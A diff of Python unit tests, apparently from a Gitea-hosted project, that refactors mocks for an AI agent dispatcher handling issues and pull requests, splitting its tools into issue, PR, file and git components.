issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
task_type="issue",
|
||||
@@ -323,19 +386,20 @@ async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
|
||||
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||
assert len(results) == 1
|
||||
assert "POSTED_COMMENT: ANSWER_QUESTION" in results[0]
|
||||
mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->\n\nIs this answer satisfactory?\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->")
|
||||
mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->\n\nIs this answer satisfactory?\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->")
|
||||
|
||||
|
||||
@patch("core.dispatcher.CoordinatorAgent")
|
||||
async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock) -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
mock_client.list_repo_pull_requests.return_value = []
|
||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
|
||||
# Human comments indicating satisfaction after our answer
|
||||
mock_client.get_issue_comments.return_value = [
|
||||
mock_client.issues.get_issue_comments.return_value = [
|
||||
_make_comment("unknown-ai", "Here is the answer.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->"),
|
||||
_make_comment("michael", "Yes, thanks! That makes sense.")
|
||||
]
|
||||
@@ -347,7 +411,13 @@ async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock
|
||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||
mock_coord_class.return_value = mock_coord_instance
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
task_type="issue",
|
||||
@@ -359,27 +429,28 @@ async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock
|
||||
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||
assert len(results) == 1
|
||||
assert "CLOSED_ISSUE: Issue #42 closed." in results[0]
|
||||
mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "Closing the issue now. Let me know if you need anything else!")
|
||||
mock_client.close_issue.assert_called_once_with("meeks", "repo1", 42)
|
||||
mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "Closing the issue now. Let me know if you need anything else!")
|
||||
mock_client.issues.close_issue.assert_called_once_with("meeks", "repo1", 42)
|
||||
|
||||
|
||||
@patch("subprocess.run")
|
||||
@patch("core.dispatcher.CodingAgent")
|
||||
@patch("core.dispatcher.CoordinatorAgent")
|
||||
async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
mock_client.list_repo_pull_requests.return_value = []
|
||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
mock_client.get_issue_comments.return_value = [
|
||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
mock_client.issues.get_issue_comments.return_value = [
|
||||
_make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
|
||||
_make_comment("michael", "looks good, go ahead")
|
||||
]
|
||||
|
||||
# Return PR object on creation
|
||||
mock_pr = PullRequestModel(number=105, title="WIP: add X", html_url="http://gitea/pr/105", head={"ref": "fix/issue-42-add-x"})
|
||||
mock_client.create_pull_request.return_value = mock_pr
|
||||
mock_client.prs.create_pull_request.return_value = mock_pr
|
||||
|
||||
# Mock planning agent deciding EXECUTE_PLAN
|
||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||
@@ -390,7 +461,13 @@ async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_cla
|
||||
# Mock coding agent executing plan
|
||||
mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Completed Successfully.")
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
task_type="issue",
|
||||
@@ -408,20 +485,21 @@ async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_cla
|
||||
mock_run.assert_any_call(["git", "checkout", "-b", "fix/issue-42-add-x"], cwd=ANY, check=True)
|
||||
|
||||
# Verify WIP PR creation and starting comment
|
||||
mock_client.create_pull_request.assert_called_once_with(
|
||||
mock_client.prs.create_pull_request.assert_called_once_with(
|
||||
"meeks", "repo1", head="fix/issue-42-add-x", base="master", title="WIP: add X", description="Work in progress for issue #42."
|
||||
)
|
||||
mock_client.add_comment.assert_any_call("meeks", "repo1", 42, "Started work on PR #105 (http://gitea/pr/105).")
|
||||
mock_client.issues.add_comment.assert_any_call("meeks", "repo1", 42, "Started work on PR #105 (http://gitea/pr/105).")
|
||||
|
||||
|
||||
@patch("subprocess.run")
|
||||
@patch("core.dispatcher.CodingAgent")
|
||||
@patch("core.dispatcher.CoordinatorAgent")
|
||||
async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
|
||||
# Existing WIP PR addressing issue #42
|
||||
wip_pr = PullRequestModel(
|
||||
@@ -430,14 +508,14 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
|
||||
state="open",
|
||||
head={"ref": "fix/issue-42-add-x"}
|
||||
)
|
||||
mock_client.list_repo_pull_requests.return_value = [wip_pr]
|
||||
mock_client.get_pr_reviews.return_value = []
|
||||
mock_client.prs.list_repo_pull_requests.return_value = [wip_pr]
|
||||
mock_client.prs.get_pr_reviews.return_value = []
|
||||
|
||||
mock_client.get_issue_comments.return_value = [
|
||||
mock_client.issues.get_issue_comments.return_value = [
|
||||
_make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
|
||||
_make_comment("michael", "looks good, go ahead")
|
||||
]
|
||||
mock_client.get_pull_request_comments.return_value = []
|
||||
mock_client.prs.get_pull_request_comments.return_value = []
|
||||
|
||||
# Mock planning agent deciding EXECUTE_PLAN
|
||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||
@@ -448,7 +526,13 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
|
||||
# Mock coding agent executing plan
|
||||
mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Updated Successfully.")
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
task_type="issue",
|
||||
@@ -462,14 +546,15 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
|
||||
assert results[0] == "PR Updated Successfully."
|
||||
|
||||
# Ensure create_pull_request was NOT called since it already exists
|
||||
mock_client.create_pull_request.assert_not_called()
|
||||
mock_client.prs.create_pull_request.assert_not_called()
|
||||
|
||||
|
||||
async def test_dispatch_skips_pr_if_not_requested_reviewer() -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
|
||||
# PR authored by michael, requested reviewers is empty (agent not requested)
|
||||
pr_detail = PullRequestModel(
|
||||
@@ -479,9 +564,15 @@ async def test_dispatch_skips_pr_if_not_requested_reviewer() -> None:
|
||||
user=UserModel(login="michael"),
|
||||
requested_reviewers=[]
|
||||
)
|
||||
mock_client.get_pull_request.return_value = pr_detail
|
||||
mock_client.prs.get_pull_request.return_value = pr_detail
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
task_type="pr",
|
||||
@@ -513,12 +604,13 @@ def test_coordinator_tools_registration() -> None:
|
||||
|
||||
@patch("core.dispatcher.CoordinatorAgent")
|
||||
async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMock) -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
mock_client.list_repo_pull_requests.return_value = []
|
||||
mock_client.get_issue_comments.return_value = []
|
||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||
mock_client.issues.get_issue_comments.return_value = []
|
||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
|
||||
# Mock agent invoking propose_plan tool
|
||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||
@@ -529,7 +621,13 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
|
||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||
mock_coord_class.return_value = mock_coord_instance
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
task_type="issue",
|
||||
@@ -541,7 +639,7 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
|
||||
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||
assert len(results) == 1
|
||||
assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
|
||||
mock_client.add_comment.assert_called_once_with(
|
||||
mock_client.issues.add_comment.assert_called_once_with(
|
||||
"meeks",
|
||||
"repo1",
|
||||
42,
|
||||
@@ -550,15 +648,22 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
|
||||
|
||||
|
||||
async def test_dispatcher_raises_type_error_for_invalid_task_info() -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
# Mock return values for methods called prior to the isinstance check
|
||||
mock_client.list_repo_pull_requests.return_value = []
|
||||
mock_client.get_issue_comments.return_value = []
|
||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||
mock_client.issues.get_issue_comments.return_value = []
|
||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
|
||||
# 1. Test dispatch raises TypeError if task_info is not IssueModel for an issue task
|
||||
work_item_invalid_issue = WorkItem(
|
||||
@@ -588,13 +693,20 @@ async def test_dispatcher_raises_type_error_for_invalid_task_info() -> None:
|
||||
|
||||
|
||||
async def test_dispatch_fails_if_no_authenticated_user() -> None:
|
||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||
mock_client: MagicMock = MagicMock()
|
||||
mock_client.repos = MagicMock()
|
||||
mock_tools: MagicMock = MagicMock()
|
||||
|
||||
# Simulate get_authenticated_user returning None
|
||||
mock_client.get_authenticated_user.return_value = None
|
||||
mock_client.repos.get_authenticated_user.return_value = None
|
||||
|
||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||
dispatcher = AgentDispatcher(
|
||||
client=mock_client,
|
||||
issue_tools=MagicMock(),
|
||||
pr_tools=MagicMock(),
|
||||
file_tools=MagicMock(),
|
||||
git_tools=MagicMock(),
|
||||
)
|
||||
work_item = WorkItem(
|
||||
repo_full_name="meeks/repo1",
|
||||
task_type="issue",
|
||||
@@ -607,7 +719,7 @@ async def test_dispatch_fails_if_no_authenticated_user() -> None:
|
||||
await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||
|
||||
# Simulate get_authenticated_user raising an Exception
|
||||
mock_client.get_authenticated_user.side_effect = Exception("API error")
|
||||
mock_client.repos.get_authenticated_user.side_effect = Exception("API error")
|
||||
with pytest.raises(RuntimeError, match="No authenticated user found."):
|
||||
await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||
|
||||
|
||||
@@ -124,3 +124,31 @@ def test_update_file_failure() -> None:
|
||||
"owner", "repo", "path/to/file", "msg", "content", "branch"
|
||||
)
|
||||
assert "Error updating file: API Error" in res
|
||||
|
||||
|
||||
def test_get_file_content_uses_local_file_when_available(tmp_path: str) -> None:
|
||||
import os
|
||||
mock_client = _create_mock_client()
|
||||
|
||||
repo_dir = tmp_path / "owner" / "repo"
|
||||
repo_dir.mkdir(parents=True)
|
||||
file_path = repo_dir / "path" / "to" / "file"
|
||||
file_path.parent.mkdir(parents=True)
|
||||
file_path.write_text("local file content")
|
||||
|
||||
file_tools = FileTools(mock_client, str(tmp_path))
|
||||
res = file_tools.get_file_content("owner", "repo", "path/to/file")
|
||||
assert res == "1: local file content"
|
||||
mock_client.files.get_file_content.assert_not_called()
|
||||
|
||||
|
||||
def test_get_file_content_falls_back_to_api_when_no_local(tmp_path: str) -> None:
|
||||
mock_client = _create_mock_client()
|
||||
mock_client.files.get_file_content.return_value = "api content"
|
||||
|
||||
file_tools = FileTools(mock_client, str(tmp_path))
|
||||
res = file_tools.get_file_content("owner", "repo", "path/to/file")
|
||||
assert res == "1: api content"
|
||||
mock_client.files.get_file_content.assert_called_once_with(
|
||||
"owner", "repo", "path/to/file"
|
||||
)
|
||||
|
||||
@@ -20,11 +20,11 @@ def test_get_issue_success() -> None:
|
||||
mock_client.issues.get_issue.return_value = issue
|
||||
|
||||
issue_tools: IssueTools = IssueTools(mock_client)
|
||||
res: str = issue_tools.get_issue("owner", "repo", 1)
|
||||
res: IssueModel = issue_tools.get_issue("owner", "repo", 1)
|
||||
|
||||
data: dict[str, Any] = json.loads(res)
|
||||
assert data["number"] == 1
|
||||
assert data["title"] == "Test Issue"
|
||||
assert isinstance(res, IssueModel)
|
||||
assert res.number == 1
|
||||
assert res.title == "Test Issue"
|
||||
mock_client.issues.get_issue.assert_called_once_with("owner", "repo", 1)
|
||||
|
||||
|
||||
@@ -33,8 +33,11 @@ def test_get_issue_failure() -> None:
|
||||
mock_client.issues.get_issue.side_effect = Exception("API Error")
|
||||
|
||||
issue_tools: IssueTools = IssueTools(mock_client)
|
||||
res: str = issue_tools.get_issue("owner", "repo", 1)
|
||||
assert "Error getting issue: API Error" in res
|
||||
try:
|
||||
issue_tools.get_issue("owner", "repo", 1)
|
||||
assert False, "Expected Exception"
|
||||
except Exception as e:
|
||||
assert str(e) == "API Error"
|
||||
|
||||
|
||||
def test_close_issue_success() -> None:
|
||||
|
||||
@@ -5,7 +5,6 @@ from unittest.mock import MagicMock, AsyncMock, patch
|
||||
|
||||
from core.orchestrator import AgentOrchestrator
|
||||
from gitea.client import GiteaClient
|
||||
from gitea.tools.gitea_tools import GiteaTools
|
||||
from gitea.models import IssueModel, PullRequestModel, RepositoryModel
|
||||
|
||||
pytestmark = pytest.mark.anyio
|
||||
@@ -31,7 +30,7 @@ async def test_poll_and_dispatch_no_notifications(
|
||||
) -> None:
|
||||
mock_get_path.return_value = temp_state_file
|
||||
mock_client = MagicMock(spec=GiteaClient)
|
||||
mock_tools = MagicMock(spec=GiteaTools)
|
||||
mock_tools = MagicMock()
|
||||
|
||||
# Return no notifications
|
||||
mock_client.list_unread_notifications.return_value = []
|
||||
@@ -68,7 +67,7 @@ async def test_poll_and_dispatch_with_notifications(
|
||||
mock_reader.decide_notification = AsyncMock(side_effect=mock_decide_notification)
|
||||
mock_notification_reader_class.return_value = mock_reader
|
||||
mock_client = MagicMock(spec=GiteaClient)
|
||||
mock_tools = MagicMock(spec=GiteaTools)
|
||||
mock_tools = MagicMock()
|
||||
|
||||
# Set up mock Gitea notifications
|
||||
notifications = [
|
||||
|
||||
+17
-11
@@ -20,11 +20,11 @@ def test_get_pull_request_success() -> None:
|
||||
mock_client.prs.get_pull_request.return_value = pr
|
||||
|
||||
pr_tools: PRTools = PRTools(mock_client)
|
||||
res: str = pr_tools.get_pull_request("owner", "repo", 1)
|
||||
res: PullRequestModel = pr_tools.get_pull_request("owner", "repo", 1)
|
||||
|
||||
data: dict[str, Any] = json.loads(res)
|
||||
assert data["number"] == 1
|
||||
assert data["title"] == "Test PR"
|
||||
assert isinstance(res, PullRequestModel)
|
||||
assert res.number == 1
|
||||
assert res.title == "Test PR"
|
||||
mock_client.prs.get_pull_request.assert_called_once_with("owner", "repo", 1)
|
||||
|
||||
|
||||
@@ -33,8 +33,11 @@ def test_get_pull_request_failure() -> None:
|
||||
mock_client.prs.get_pull_request.side_effect = Exception("API Error")
|
||||
|
||||
pr_tools: PRTools = PRTools(mock_client)
|
||||
res: str = pr_tools.get_pull_request("owner", "repo", 1)
|
||||
assert "Error getting pull request: API Error" in res
|
||||
try:
|
||||
pr_tools.get_pull_request("owner", "repo", 1)
|
||||
assert False, "Expected Exception"
|
||||
except Exception as e:
|
||||
assert str(e) == "API Error"
|
||||
|
||||
|
||||
def test_close_pull_request_success() -> None:
|
||||
@@ -139,11 +142,11 @@ def test_create_pull_request_success() -> None:
|
||||
mock_client.prs.create_pr_via_tea.return_value = pr
|
||||
|
||||
pr_tools: PRTools = PRTools(mock_client)
|
||||
res: str = pr_tools.create_pull_request(
|
||||
res: PullRequestModel = pr_tools.create_pull_request(
|
||||
"owner", "repo", "head", "base", "Title", "Desc"
|
||||
)
|
||||
data: dict[str, Any] = json.loads(res)
|
||||
assert data["number"] == 2
|
||||
assert isinstance(res, PullRequestModel)
|
||||
assert res.number == 2
|
||||
mock_client.prs.create_pr_via_tea.assert_called_once_with(
|
||||
"owner", "repo", "Title", "Desc", "head", "base"
|
||||
)
|
||||
@@ -154,8 +157,11 @@ def test_create_pull_request_failure() -> None:
|
||||
mock_client.prs.create_pr_via_tea.side_effect = Exception("API Error")
|
||||
|
||||
pr_tools: PRTools = PRTools(mock_client)
|
||||
res: str = pr_tools.create_pull_request("owner", "repo", "head", "base", "Title")
|
||||
assert "Error creating PR: API Error" in res
|
||||
try:
|
||||
pr_tools.create_pull_request("owner", "repo", "head", "base", "Title")
|
||||
assert False, "Expected Exception"
|
||||
except Exception as e:
|
||||
assert str(e) == "API Error"
|
||||
|
||||
|
||||
def test_add_label_to_pr_success() -> None:
|
||||
|
||||
Reference in New Issue
Block a user